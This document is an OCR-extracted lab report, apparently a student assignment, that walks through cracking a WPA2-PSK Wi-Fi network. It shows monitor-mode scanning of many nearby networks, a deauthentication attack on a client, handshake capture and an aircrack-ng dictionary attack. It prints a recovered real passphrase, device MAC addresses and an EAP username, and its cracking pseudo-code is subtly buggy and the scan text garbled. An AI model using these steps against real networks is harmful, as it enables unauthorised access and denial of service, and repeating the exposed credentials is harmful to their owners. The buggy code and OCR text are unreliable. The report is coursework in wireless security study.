Activitie	s 🕒 Terminal 🔻			अप्रैल 13 23:17	
				kamal@kamal:~	
9	• # ~ > <u>sudo</u> airm	non-ng start w	nlp0s20f3		
Found 4	processes that	could cause t	rouble.		
Kill th	nem using 'airmon	i-ng check kil	l' before putting.		
the car	d in monitor mod	le, they will	interfere by changing channels		
and som	etimes putting t	he interface	back in managed mode		
PID) Name				
855	avahi-daemon				
902	wpa_supplicant				
917	avahi-daemon				
35766	NetworkManager				
PHY	Interface	Driver	Chipset		
phy0	wlp0s20f3	iwlwifi	Intel Corporation Wi-Fi 6 AX201		
	(mac 90)	11 monitor ma	do wif opoblod for [phy0]vlp0c20f2 op [(nhul)ulnAc20f2mon)	
	(1110/02	11 monitor mu	de vif enabled for (phyøjwlpøszørs om (
	(macov2	II Station mo	de vii disabled for (phyøjwlpøs2013)		
Q	· · · ·				

Then we will start capturing the packets and see in which channel is the target AP operating in.

Activities	-							अप्रैल 13 23:18
л								kamal@kamal:~
H 2 [Flansed: 6 s [2022-04-13 23:17								
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC CIPHER	AUTH ESSID
E0:1C:FC:10:DE:4B	-81				13		WPA	<length: 0=""></length:>
E0:1C:FC:69:2D:4D	-69					130	WPA2 CCMP	PSK Sonu 2.4ghz
00:14:D1:DF:6D:DA	-85				11	130	WPA2 CCMP	PSK Paramagnetic_Communications
FE:44:82:C3:00:E1	-85				11	130	WPA2 CCMP	PSK nousername
D8:07:B6:C1:F4:6A	-81		0	0	4	270	WPA2 CCMP	PSK KIRA
C0:06:C3:F7:91:38	-62	21	0	0		270	WPA2 CCMP	PSK Godfather
C4:E9:0A:41:4A:3A	-65					270	WPA2 CCMP	PSK Tony Stark
90:78:41:43:2C:13	-70					130	WPA2 CCMP	CMAC rahuls
3C:84:6A:7C:48:E0	-72	9	0	0	10	270	WPA2 CCMP	PSK OptimusPrime
74:DA:DA:C6:CD:D6	-76		0	0	11	270	OPN	GareS
A0:47:D7:22:7D:78	-81	8	86		6	270	WPA2 CCMP	PSK Keqing
0C:0E:76:4C:09:2C	-76	7	2	0	10	270	WPA2 CCMP	PSK Venom
3C:84:6A:6D:19:C8	-74	5	4	1	4	270	WPA2 CCMP	PSK Wifi-JJM
C0:06:C3:D0:56:C6	-74	6	0	0	3	270	WPA2 CCMP	PSK Ranchoo
60:63:4C:5D:E3:D6	-74	9	0	0	3	270	WPA2 CCMP	PSK _terabaap
ØA:28:19:BF:17:E5	-39	5	0	0	11	135	WPA2 CCMP	PSK PURUSHOTHAM
E0:1C:FC:F2:1F:6A	-75		0	0	13	270	WPA2 CCMP	PSK DIR-615-m606
08:5A:11:FB:FD:94	-75		U Q	0	6	130	WPA2 CCMP	PSK DIR-825-FD91
C2:06:C3:D0:56:C6	-/6	6	U Q	0		270	WPA2 CCMP	PSK Friends
50:28:73:7C:80:A6	-/0	0	0	0		130	WPA2 CCMP	PSK quyo
00:E3:2/:/1:/A:F0	-//		0	0	10	133	WPA2 CCMP	PSK Rajkumar
10.27.55.44.59.00	-70	*	0	0	10	270		PSK Leon
0C:0E:76:44:F8:CC	-77		0	a		270	WPA2 CCMP	
98:DA:C4:2C:23:36	-78		0	6		270	WPA2 CCMP	PSK TP-Link 2336
E0:10:E0:E2:0E:E4	-79		0	0		270	WPA2 CCMP	PSK alav
0C:0E:76:4D:81:B4	-81		0	ø	10	270	WPA2 CCMP	PSK Aniket
C4:E9:0A:40:A5:7E	-77	3	0	0	9	270	WPA2 CCMP	PSK Bazinga
E0:1C:FC:EE:F0:66	-81	6	0	0	13	270	WPA2 CCMP	PSK It's Not Free
E0:1C:FC:EF:F9:9E	-79	10	0			270	WPA2 CCMP	PSK Balugadu
E0:1C:FC:EF:31:A6	-79					270	WPA2 CCMP	PSK DIR-615-31A5
00:EB:D5:9B:66:51	-81				11	54	WPA2 CCMP	MGT eduroam
E0:1C:FC:41:51:34					11	270	WPA2 CCMP	PSK HACKER
Quitting								
Q #~								

As we can see from the figure above,

sudo airodump-ng wlp0s20f3mon

The AP "Godfather" is operating in channel 3 and the BSSID is C0:06:C3:F7:91:38

We now will start our monitor mode in a specific channel: channel 3 using the following command and start capturing packets using wireshark through the monitoring interface.



sudo airmon-ng start wlp0s20f3 3



5.3. Launching the Deauthentication Attack

Now, to launch the deauthentication attack, we will analyze the captured packets for the target AP and find a potential client to launch the deauthentication attack on. The main idea for launching the deauthentication attack is to force the potential victim client to have a fresh handshake.

Here, we will be launching the attack on the client with MAC address: 08:25:25:a9:70:26, as the client was fairly active and there were a lot of packets destined to this client from AP.

So, with a hope that this client reconnects to the AP after being disconnected, we are launching the deAuth attack with the following command:



भारतीय	प्रौद्योगिकी	। संस्थान	हैदराबाद
Indian Insti	tute of Te	chooloon	Hoderah

Activities 🖉 Wireshark 🔻					अप्रल 13 23	
					*wlp0s20f3n	non
<u>File Edit View Go Capture</u>	Analyze Statistics Telephony	<u>W</u> ireless <u>T</u> ools <u>H</u> elp				
	🞗 🙆 🍳 🗢 🏓 🖉		Q Q 🎹			
wlan.ssid == "Godfather" or wla	n.sa == 08:25:25:a9:70:26 or wl	lan.da == 08:25:25:a9:70:26				
No. Time	Source	Destination	Protocol	Length Identification	Time to live	Info
5401 17.202189327	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1461, FN=0, Flags=C, BI=100, SSID=Godfather
5407 17.207304848	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5408 17.304442241	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1462, FN=0, Flags=C, BI=100, SSID=Godfather
5409 17.308158493	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5470 17.407004234	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1463, FN=0, Flags=C, BI=100, SSID=Godfather
5472 17.411154337	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5473 17.509261739	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1464, FN=0, Flags=C, BI=100, SSID=Godfather
5474 17.512449388	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5512 17.588196750	c0:06:c3:f7:91:38	76:43:ca:47:d5:31	802.11	424		Probe Response, SN=1465, FN=0, Flags=C, BI=100, SSID=Godfather
5515 17.593034738	C0:06:C3:T7:91:38	76:43:ca:47:d5:31	802.11	424		Probe Response, SN=1466, FN=0, Flags=C, BI=100, SSID=GodTather
5518 17.596223638	C0:06:C3:T7:91:38	76:43:ca:47:d5:31	802.11	424		Probe Response, SN=1467, FN=0, Flags=C, BI=100, SSID=GodTather
5528 17.609470491	CU:Ub:C3:T7:91:38	76:43:ca:47:d5:31	802.11	424		Probe Response, SN=1468, FN=0, Flags=C, BI=100, SSID=GodTather
5530 17.012705570	0.06.02.57.01.20	Broaucast	802.11	302		Beacon Iralle, SN-1409, FN-0, Flags, BI-100, SSID-Goulather
5531 17.015770215	ViceniCo 20:70:26	20:06:02:f7:01:29	802.11	424		Probe Response, SN-1470, FN-0, Flags, BI-100, SSID-Gouldiner
5534 17 619651016	c0:06:c3:f7:91:38	76:43:ca:47:d5:31	802.11	424		Probe Decourse SN=1471 EN=0 Flags= C BT=100 SSID=Godfather
5536 17 713932915	c0:00:c3:f7:91:38	Broadcast	802.11	362		Reacon frame SN=1472 EN=0 Flags= C BT=100, SSID=Godfather
5538 17, 722868223	c0:00:c3:f7:91:38	XiaomiCo a9:70:26	802.11	39		Deauthentication SN=0 EN=0 Elags=
5590 17,818009017	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame SN=1473 EN=0 Elags=C BI=100 SSID=Godfather
5594 17.823478284	XiaomiCo a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5646 17.919279581	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1474, FN=0, Flags=C, BI=100, SSID=Godfather
5652 17.926385466	XiaomiCo a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5653 18.021061943	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1475, FN=0, Flags=C, BI=100, SSID=Godfather
5655 18.027661486	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5707 18.124211210	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1476, FN=0, Flags=C, BI=100, SSID=Godfather
5713 18.129327117	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5714 18.226693399	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1477, FN=0, Flags=C, BI=100, SSID=Godfather
5715 18.230105425	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5772 18.329233603	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1478, EN=0, Flags=C, BI=100, SSID=Godfather
5774 18.332119851	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	39		Deauthentication, SN=0, FN=0, Flags=
5775 18.431548159	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1479, FN=0, Flags=C, BI=100, SSID=Godfather
5776 18.433437018	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	39		Deauthentication, SN=0, FN=0, Flags=
1	AN . MR . A 3 . T / . U1 . 38	READARDET	867 11	3N 7		
 Channel flags: 0x00a 	a0, Complementary Code	Keying (CCK), 2 GHz	spectrum			0030 16 00 11 03 e6 00 e1 01 50 00 0
Antenna signal: -26d	iBm .					— 0040 <mark>70 26</mark> c0 06 c3 f7 91 38 c0 06 c
RX flags: 0x0000						0050 1d ee 6c 6d 53 00 00 00 64 00 1
timestamp information	on					0060 64 66 61 74 68 65 72 01 08 82 8
Antenna signal: -26d	1Bm					0070 6C 03 01 03 2a 01 04 32 04 0C 1
Antenna: 0						
Antenna signal: -31d	iBm					
Antenna: 1						00b0 00 dd 16 00 50 f2 01 01 00 00 5
> 802.11 radio informati	.on					00c0 50 f2 04 01 00 00 50 f2 02 30 1
Turo (Subturo) Distance	Donse, Flags:C	,				00d0 04 01 00 00 0f ac 04 01 00 00 0
Type/Subtype: Probe	Response (0x0005)					00e0 08 00 00 00 00 00 00 00 00 00 00 00 00
, Frame Control Fletd:	- Duration: A microsof	conde				00f0 dd 18 00 50 f2 02 01 01 00 00 0
Receiver address: Vi	= Duration: 0 mitcrosed	5·25·a9·70·26)				0100 00 00 42 43 5e 00 62 32 2f 00 4
Destination address: Al	XiaomiCo a9:70:26 (08.25	R:25:25:25:29:70:26)				
Transmitter address	- CA:A6:C3:f7:91:38 (CA	9.06.03.f7.91.38)				
Destination Hardware Add	ress (wlan.da), 6 bytes					Packets: 11396 · Displayed: 1337 (11.7%) · Dropped: 0 (0.0%

As we an see from the figure above, there are a lot of deAuth packets being sent to the targeted AP.

With this now, the potential victim client might have disconnected and will hopefully retry to connect again.

5.4. Capturing the packets while the target reconnects

Now, we will keep our packet capture on and wait for the potential victim client to reconnect to the AP again so that we can capture the handshake.

The WPA2- Authentication and Handshake messages should have the following:

- 1. Probe Request/ Response
- 2. Authentication Request / Response
- 3. Association Request / Response
- 4. Key Exchange (including all the 4 messages), 4-way handshake.



Activities	🖉 Wireshark 🔻					अप्रैल 13 2	3:10	🤌 📒 🖂 🔹 🕯 🕯 🖛
						*wlp0s20f3	mon	_ @ 😣
<u>F</u> ile <u>E</u> dit	View <u>G</u> o <u>C</u> apture <u>J</u>	Analyze Statistics Telephon	y <u>W</u> ireless <u>T</u> ools <u>H</u> elp					
	3 🐵 🚞 🛅	🕈 🙆 🍳 👄 🏓 警	T 🛃 📃 🔍	Q Q 🎹				
wlan.ssid	== "Godfather" or wla	n.sa == 08:25:25:a9:70:26 or 1	wlan.da == 08:25:25:a9:70:26					×
No.	Time	Source	Destination	Protocol	Length Identification	Time to live	Info	
105	586 39.524980035	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1755, FN=0, Flags=C, BI=100, SSID=Godfather	
105	587 39.535710604	c0:06:c3:f7:91:38	8c:55:4a:1f:63:be	802.11	424		Probe Response, SN=1756, FN=0, Flags=C, BI=100, SSID=Godfather	
105	588 39.538858910	c0:06:c3:f7:91:38	8c:55:4a:1f:63:be	802.11	424		Probe Response, SN=1757, FN=0, Flags=C, BI=100, SSID=Godfather	
105	589 39.544135187	c0:06:c3:f7:91:38	8c:55:4a:1f:63:be	802.11	424		Probe Response, SN=1758, EN=0, Flags=C, BT=100, SSID=Godfather	
105	591 39.627261634	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1759, FN=0, Flags=C, BI=100, SSID=Godfather	
105	92 39.077998204	X1a0m1C0_a9:70:26	C0:06:C3:T7:91:38	802.11	190		Probe Request, SN=2113, FN=0, Flags=, SSID=GodTather	
105	06 20 604066402	c0:00:c3:17:91:38	XiaomiCo_a9:70:26	002.11	424		Probe Response, SN-1760, FN-0, Flags, BI-100, SSID-Gouldther	
105	598 39 688305201	c0:06:c3:f7:91:38	XiaomiCo_a9:70:20	802.11	424		Probe Response, SN=1761, FN=0, Flags=C, B1=100, SSID=6001ather	
100	300 39 689246646	XiaomiCo a9:70:26	c0:06:c3:f7:91:38	802.11	424		Authentication SN=2116 EN=0 Flags= C	
100	00 39.000240040	c0:06:c3:f7:91:38	XiaomiCo a9:70:26	802.11	90		Authentication SN=1763 EN=0 Flags= C	
106	02 39 690593868	XiaomiCo a9:70:26	c0:06:c3:f7:91:38	802.11	90		Authentication SN=2116 EN=0 Flags= R.C	
106	304 39,691426437	c0:06:c3:f7:91:38	XiaomiCo a9:70:26	802.11	90		Authentication, SN=1763, FN=0, Flags=RC	
106	306 39.692250685	c0:06:c3:f7:91:38	XiaomiCo a9:70:26	802.11	90		Authentication, SN=1764, FN=0, Flags=C	
106	08 39.694116655	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	218		Association Request, SN=2117, FN=0, Flags=C, SSID=Godfather	
106	310 39.696375277	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	269		Association Response, SN=1765, FN=0, Flags=C	
106	612 39.715555198	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	EAPOL	193		Key (Message 1 of 4)	
106	614 39.718458111	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	EAPOL	215		Key (Message 2 of 4)	
106	516 39.721194074	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	EAPOL	249		Key (Message 3 of 4)	
106	618 39.725142783	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	EAPOL	193		Key (Message 4 of 4)	
106	520 39.729904174	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1766, FN=0, Flags=C, BI=100, SSID=Godfather	
106	321 39.813373211	XiaomiCo_a9:70:26	c0:06:c3:f7:91:38	802.11	93		Action, SN=1324, FN=0, Flags=C	
106	323 39.814252437	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	93		Action, SN=1767, FN=0, Flags=RC	
106	525 39.814816278	X1aom1Co_a9:70:26	IPv6mcast_16	802.11	230		QoS Data, SN=0, FN=0, Flags=.pTC	
106	327 39.832244770	C0:06:C3:T7:91:38	Broadcast	802.11	362		Beacon Trame, SN=1768, FN=0, Flags=C, BI=100, SSID=GodTather	
100	28 39.835722749	X1a0m1C0_a9:70:26	Broadcast	802.11	440		QOS Data, SN=1, FN=0, Flags=.pIC	
100	22 20 944656266	c0:00:c3:f7:01:30	XiaomiCo_a9:70:20	802.11	020		US Data, SN-1355, FN-0, Flags-, FF.C	
100	34 30 845532603	XiaomiCo a9:70:26	c0.06.c3.f7.91.38	802.11	93		Action SN=1325 EN=0 Flags= $-$	
100	35 39 846431092	XiaomiCo a9:70:20	c0:06:c3:f7:91:38	802.11	93		Action SN-1325 FN-0, Flags- P C	
106	37 39 852537287	XiaomiCo a9:70:26	Broadcast	802.11	458		OoS Data SN=2 EN=0 Elags norman	
106	39 39.934419590	c0:06:c3:f7:91:38	Broadcast	802.11	362		Beacon frame, SN=1770, FN=0, Flags=C. BI=100, SSID=Godfather	
106	ALB008190 05 01	VisomiCo s0.70.26	c@+@6+c3+f7+Q1+39	802 11	88		Oos Null function (No data) SN-1326 EN-0 Elage- D TC	
I Chani	nel flags: 0x00a	0. Complementary Code	e Keving (CCK), 2 GHz	spectrum			▲ 0030 16 00 11 03 e6 00 e1 01 50 00 00 0	Ø 08 25 25 a9 ······
Anter	nna signal: -26d	IBm	,				0040 70 26 c0 06 c3 f7 91 38 c0 06 c3 f	7 91 38 20 6e p&8
+ RX f.	lags: 0x0000						0050 1d ee 6c 6d 53 00 00 00 64 00 11 0	4 00 09 47 6f ···lmS····
▶ time:	stamp informatio	n					0060 64 66 61 74 68 65 72 01 08 82 84 8	b 96 12 24 48 dfather
Antei	nna signal: -26d	IBm					0070 6c 03 01 03 2a 01 04 32 04 0c 18 3	0 60 2d 1a ee 1*.2
Anter	nna: 0							0 00 00 00 00
Anter	nna signal: -31d	IBm						3 05 00 00 00
Anter	nna: 1						00b0 00 dd 16 00 50 f2 01 01 00 00 50 f	2 04 01 00 00 ····P
▶ 802.11	radio informati	on	•				0000 50 f2 04 01 00 00 50 f2 02 30 14 0	1 00 00 0f ac PP.
- IEEE 80	02.11 Probe Resp	onse, Flags:	C				00d0 04 01 00 00 0f ac 04 01 00 00 0f a	IC 02 00 00 7f
Type.	/Subtype: Probe	Response (0x0005)					00e0 08 00 00 00 00 00 00 00 00 00 00 00 00	0 00 00 12 7a ·····
Frame ecco	e controi Field:	- Duration: A mission	acondo				00f0 dd 18 00 50 f2 02 01 01 00 00 03 a	4 00 00 27 a4 ···P····
.000 Rece	iver address: Vi	- Duration: 0 microse	25:25:20:70:26)				0100 00 00 42 43 5e 00 62 32 2f 00 4a 0	e 14 00 0a 00 · BC^ b2
Dest	ination address: XI	XiaomiCo a9:70:20 (08:	23.23.d3.70.20)				0110 2C 01 C8 00 14 00 05 00 19 00 dd 7	T UU 50 12 04 ,
Tran	smitter address:	c@:06:c3:f7:91:38 ()	-0.06.c3.f7.91.38)				MICH TH 48 NH NT TH 10 44 00 01 02 10 3	n ere en 63 16
O Z Des	stination Hardware Add	ress (wlan.da), 6 bytes					Packets: 11396 - Displayed: 1337 (11.7%) - Dropped: 0 (0.0%)	Profile: Default

As we can see from the figure above, all the messages are captured in the pcap trace. We can now use this trace, more specifically the handshake messages to crack the passphrase. A more detailed view of the above packets containing keys can be seen below:

	wlan.ssid == "Godfather" or wlar	n.sa == 08:25:25:a9:70:26 or wl	lan.da == 08:25:25:a9:70:26					⊠⇒▼+
No.	Time	Source	Destination	Protocol	Length Identification	Time to live	Info	
	10610 39.696375277	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	802.11	269		Association Response, SN=1765, FN=0, Flags=C	
	10612 39.715555198	c0:06:c3:f7:91:38	XiaomiCo_a9:70:26	EAPOL	193		Key (Message 1 of 4)	
	10614 39.718458111	X1aom1Co_a9:70:26	c0:06:c3:f7:91:38	EAPOL	215		Key (Message 2 of 4)	
	10610 39.721194074	CU:UD:C3:T7:91:38	A1a0m1C0_a9:70:26	EAPOL	249		Key (Message 3 of 4)	
-	10010 39.725142703	c0:06:c3:f7:01:38	C0.00.C3.17.91.30 Broadcast	802 11	193		Reacon frame SN=1766 EN=0 Elage=C_BT=100 SSID=Codfather	
	10621 39.813373211	XiaomiCo a9:70:26	c0:06:c3:f7:91:38	802.11	93		Action. SN=1324. EN=0. Flags=C	
	10623 39.814252437	c0:06:c3:f7:91:38	XiaomiCo a9:70:26	802.11	93		Action, SN=1767, FN=0, Flags=RC	
	10625 39.814816278	XiaomiCo_a9:70:26	IPv6mcast_16	802.11	230		QoS Data, SN=0, FN=0, Flags=.pTC	
4	40607 00 000044770	00.08.02.£7.04.20	Droodooot	000 11	262		Dassan from CN=1760 FN=0 Flass= C DT=100 CCTD=Codfathar	•
	Channel frequency: 2	422 [BG 3]					▲ 0000 00 00 38 00 2f 40 40 a0 20 08 00	a0 20 08 00 00 ··8·/@@·
	→ Channel flags: 0x00a	0, Complementary Code	Keying (CCK), 2 GHz	spectrum			0010 78 60 ca 15 00 00 00 10 02 76	09 a0 00 e1 00 x`
	Antenna signal: -31d	IBm					0020 00 00 00 00 00 00 00 00 11 c7 ca	15 00 00 00 00
	RX flags: 0x0000						0030 16 00 11 03 dd 00 e1 01 88 02 3a	01 08 25 25 a9 ······
	timestamp informatio	in						T7 91 38 90 09 p&8 -
	Antenna signal: -35d	IBm						4c e2 7d 29 6a
	Antenna: 0	10					9870 98 d2 1a 2d d3 24 b8 94 2a d3 1b	c8 43 ff c1 99 ·····\$·· *
	Antenna signal: -310	IDIII					0080 b6 a5 7e 6a 4e b9 27 5a 35 89 6c	00 00 00 00 00 ··~jN·'Z 5
	802 11 radio informatio	on					0090 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00
	TEEE 802.11 OoS Data	Flags:					00a0 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00
	Logical-Link Control							00 00 88 68 26
*	802.1X Authentication						8008 08	
	Version: 802.1X-2001	. (1)						
	Туре: Кеу (3)							
	Length: 95							
	Key Descriptor Type:	EAPOL RSN Key (2)						
	[Message number: 1]	1985						
	+ Key Informacion. 0x0	10 - Key Descriptor Ve	reion: AES Cinher W	MAC-SHA1 MTC (2)			
		= Key Type: Pairwise	e Kev	AC-SHAT HIC (-)			
		. = Key Index: 0	e 110y					
		. = Install: Not set						
	1	. = Key ACK: Set						
		= Key MIC: Not set						
	0	= Secure: Not set						
	0	. = Error: Not set						
	0	= Request: Not set	N-44					
		- SMK Message: Not	a: NUL SEL					
	Key Length: 16	onk nessage. Not :	366					
	Replay Counter: 1							
	WPA Key Nonce: 4ce27	d296a98d21a2dd324b8042	2ad31bc843ffc199b6a5	7e				
	Key IV: 00000000000	000000000000000000000000000000000000000						
	WPA Key RSC: 0000000	000000000						
	WPA Key ID: 00000000	00000000						
	WPA Key MIC: 0000000	000000000000000000000000000000000000000	9000					
	WPA Key Data Length:	Θ						
C	PARTA 4.pcap						Packets: 11396 · Displayed: 1337 (11 7%) · Dronned: 0 (0 0%)	Profile: Default
0								Trome, Deladic



5.5. Cracking the WPA2-PSK passphrase using a password list

F		kamal@kamal:~	с	. = -	• 😣
	sudo wireshark		kamal@kamal:~		× •
Reading packets, please wait Opening PARTA_4.pcap Read 11396 packets. 1 potential targets	r <u>password.lst.1</u> −b c0:06:c3:f7:91:38 <u>PART</u>	А_4.рсар	base •	23:12:33	0

5.5.1. Failure

Now that we have a fresh handshake captured, we can start performing brute-force attack on it to crack the password based on the concept of the above pesudo-code. An instance of failure and successful matching of password using aircrack-ng is shown above.

×

5.5.2. Success

Similarly, we have an instance of successfully password found using aricrack-ng as well as shown below:

	kamal@kamal:~		Q = -
sudo wireshark		kamal@kamal:~	
Aircrack-ng 1.6			
[00:00:00] 189/2295 keys tested (11457.04 k/s)			
Time left: 0 seconds	8.24%		
KEY FOUND! [shrestha61543]			
Master Key : 01 1E 0F E8 13 83 8D 50 E7 F2 35 D D9 51 9D E6 01 14 7A 70 CD E4 1F 6	94 4C BC DE 10 95 97 07 C6 1E		
Transient Key : E2 93 35 ED 22 56 A0 E8 A7 69 F0 F 22 E3 C2 E2 A5 01 1C 9F B4 7E 4E 6	6 CD BF 71 42 00 00 00 00		
00 00 00 00 00 00 00 00 00 00 00 00 00	0 00 00 00 00 0 00 00 00 00		
EAPOL HMAC : A9 26 68 BA 95 7C 0E 45 11 72 FB 7	2 1A 47 40 2E		



6. The four way handshake process occurs as follows:

- 1. Initially the access point transmits an ANonce key to the client.
- 2. The client then constructs its *SNonce*, along with the Pairwise-Transient-Key (PTK), and then submits the SNonce and Message Integrity Code (MIC) to the access point.
- 3. Next the access point constructs the Group-Temporal-Key, a sequence number that is used to detect replay attacks on the client, and a Message Integrity Code (MIC).
- 4. Lastly the client then sends an acknowledgement (ACK) to the access point.

While cracking password aircrack-ng checks whether the MIC from the pcap file and the MIC generated from the passphrase match. If they match it outputs all the keys and the passphrase else it loops for every password in the list.

The pseudo-code is given below:

import hmac import hashlib import binascii from pbkdf2 import PBKDF2

```
def password cracker(password list: list, pcapFile) -> List[str]:
  .....
  This function will take a list of passwords and a pcap file as input.
  It will then attempt to crack the wifi password using the pcap file.
  It will return the password that was cracked.
  .....
  ssid, ap mac, s mac, anonce, snonce, mic original = pcapFile.parseInfo()
  key data = min(ap mac, s mac) + max(ap mac, s mac) + \
    min(anonce, snonce) + max(anonce, snonce)
  pke = "Pairwise key expansion"
  key data = min(ap mac, s mac) + max(ap mac, s mac) + \
    min(anonce, snonce) + max(anonce, snonce)
  for password in password list:
    PMK = PBKDF2(passphrase, ssid, 4096).read(32)
    PTK = PRF512(PMK, PKE, key data).encode("hex")
    KCK = PTK[:16]
    mic calculated = HMAC MD5(KCK)
    if mic calculated == mic original:
       return [password,mic calculated,PMK]
```

return []



Time Complexity: O(n * dkLen * iter), where

· · ·	
n :	number of passwords in dictionary
dkLen:	desired bit-length of derived key in PBKDF2 algorithm
iter :	No. of iterations in PBKDF2 algorithm

Space complexity: O(1) as we aren't using any new data structures.



PART-B

1. IITH AP & RSN IE

The BSSID of IITH's AP to which our client is connected to is:

BSS Id: Cisco_c0:1c:90 (7c:95:f3:c0:1c:90)

In 802.11 management frames, the RSN-IE (Robust Security Network Information Element) is an optional variable-length field which is present in the following frames $[\underline{4}]$,

- 1. Beacon frames.(sent by AP)
- 2. Probe Response frames.(sent by AP)
- 3. Association Request frames.(Sent by Client)
- 4. Reassociation Request frames (Sent by client)

Below is a beacon frame captured in wireshark. I filtered it using,

(wlan.fc.type == 0)&&(wlan.fc.type_subtype == 0x08)

As you can see below both Group & Pairwise cipher is CCM-AES (00-0F-AC-04) & AKM suite is 00-0F-AC-01 (802.1X)

	PARTB_IITH_SUCCESS.cap 🕒 🕒 🌔								
<u>F</u> ile	<u>Edit View Go</u> Capture Analyze Statistics Telephony Wireless Tools Help								
📕 (wl	lan.fc.type == 0)&&(wlan.fc.type_subtype == 0x08)								
No.	Time Source Destination • Protocol Lengt								
	10.000000 Cisco_c0:1c:90 Broadcast 802.11								
•	Tone DOU Treformation								
	✓ Tag: KSN Information Tag Number: BSN Information (48)								
	Tag length: 20								
	RSN Version: 1								
	- Group Cipher Suite: 00:0f:ac (Ieee 802.11) AES (CCM)								
	Group Cipher Suite OUI: 00:0f:ac (Ieee 802.11)								
	Group Cipher Suite type: AES (CCM) (4)								
	Pairwise Cipher Suite Count: 1								
	✓ Pairwise Cipher Suite List 00:0f:ac (Ieee 802.11) AES (CCM) Dairwige Cipher Swite: 00:0f:ac (Ieee 802.11) AES (CCM)								
	Pairwise Cipher Suite OUT: 00:0f:ac (Teee 802.11) AES (CCM)								
	Pairwise Cipher Suite type: AFS (CCM) (4)								
	Auth Key Management (AKM) Suite Count: 1								
	🗕 Auth Key Management (AKM) List 00:0f:ac (Ieee 802.11) WPA								
	- Auth Key Management (AKM) Suite: 00:0f:ac (Ieee 802.11) WPA								
	Auth Key Management (AKM) OUI: 00:0f:ac (Ieee 802.11)								
	AUTH Key Management (AKM) type: WPA (1)								
	\checkmark RSN Capabilities. 0x0020 $\Omega = RSN Pre-Auth canabilities: Transmitte$								
	10 = RSN PTKSA Replay Counter capabilities								
	10 = RSN GTKSA Replay Counter capabilities…								
	0 = Management Frame Protection Required:								
	0 = Management Frame Protection Capable:								
	0 = Joint Multi-band RSNA: False								
	Tag: HT Information (202 11p D1 10)								
	Tay of a cover of the barries have								



2. Client Identification & Handshake messages

The MAC address of our client is: XiaomiCo_a9:70:26 (08:25:25:a9:70:26) and EAP identity value is *cs21mtech16001*

PARTB_IITH_SUCCESS.cap • • •																						
<u>F</u> ile	<u>E</u> dit	<u>V</u> ie	ew	<u>G</u> o (<u>C</u> aptu	re <u>A</u>	nalyz	ze <u>S</u> t	atisti	CS	Tele	pho	٦ <u>y</u>	<u>W</u> ire	eless	<u>T</u> oo	ls .	<u>H</u> elp				
		5	۲		0101 0111				3		-	Ì	1		Ł	•		÷	Q	9		
w	an.da	==	08:2	5:25	:a9:70):26 c	or wla	n.sa =	== 08	3:25	:25:a	9:7	0:26	i or e	eapo	I	×		Exp	ressi	on	+
lo.		Tim	e		So	urce				De	estina	atior	۱				-	Protoc	ol	Len	gth	-
	647	43.	833	622	Xi	aom	iCo_	a9:7	′0 :	Ci	LSCO)_c(9:1	c:9	0			802.	11			
_	649	43.	867	924	Xi	aom	iCo_	_a9:7	'0 :	C	LSCO)_c(9:1	c:9	0			802.	11	_		
	657	43.	897	619	Xi	aom	iCo_	_a9:7	′0:	Ci	LSCO)_c(9:1	c:9	0			EAP	1 0			
	662	43.	909	395	XI	aom	100_	_a9:/	′0:… ∕0:	C	LSCC)_C(9:1	c:9	0			ILSV:	1.2			
	667	43.	916	562	XI	aom	100_	_a9:/	′ ⊍∶	CI	LSCC	_c(9:1	c:9	0			EAP				
	008	43.	917	075	XI	aom	100	_a9:7	′⊍∶ ∕o∙		LSCC)_C(9:1 9:1	c:9	0			EAP				
	675	43.	922	101		aom	100_	_a9:7	0:	0	LSCC)_C(9:1 3:1	C:9	0							
	679	43.	929	521		.a0111	iCo	_d9.1	0 		isco		9.1 3.1	c.9	0							
